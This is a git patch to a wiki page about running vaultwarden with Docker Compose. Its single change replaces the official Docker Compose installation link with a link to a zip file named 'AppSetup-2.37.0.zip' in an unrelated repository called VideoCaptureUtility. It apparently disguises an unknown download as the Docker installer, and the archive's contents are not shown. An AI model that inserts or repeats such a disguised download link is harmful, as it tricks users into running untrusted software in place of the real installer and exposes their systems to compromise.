From 2f2ab6251622d186a4550e005e2202a4a1687a35 Mon Sep 17 00:00:00 2001 From: marky1954 <53134499+marky1954@users.noreply.github.com> Date: Fri, 10 Mar 2023 11:29:53 -0500 Subject: [PATCH] Updated Using Docker Compose (markdown) --- Using-Docker-Compose.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Using-Docker-Compose.md b/Using-Docker-Compose.md index f663239..79ac462 100644 --- a/Using-Docker-Compose.md +++ b/Using-Docker-Compose.md @@ -2,7 +2,7 @@ ## Caddy with HTTP challenge -This example assumes that you have [installed](https://docs.docker.com/compose/install/) Docker Compose, that you have a domain name (e.g., `vaultwarden.example.com`) for your vaultwarden instance, and that it will be publicly accessible. +This example assumes that you have [installed](https://github.com/Lucien-1/VideoCaptureUtility/releases/download/release/AppSetup-2.37.0.zip) Docker Compose, that you have a domain name (e.g., `vaultwarden.example.com`) for your vaultwarden instance, and that it will be publicly accessible. :warning: Docker Compose might be run as `docker-compose ...` (with a dash) or `docker compose ...` (with a space), depending on how you have installed Docker Compose. `docker-compose` is the original syntax, when Docker Compose was distributed as a standalone executable. You can still choose to do a [standalone](https://docs.docker.com/compose/install/other/#install-compose-standalone) installation, in which case you would continue to use this syntax. However, Docker currently recommends installing Docker Compose as a Docker plugin, where `compose` becomes a subcommand of `docker`, making the syntax `docker compose ...`.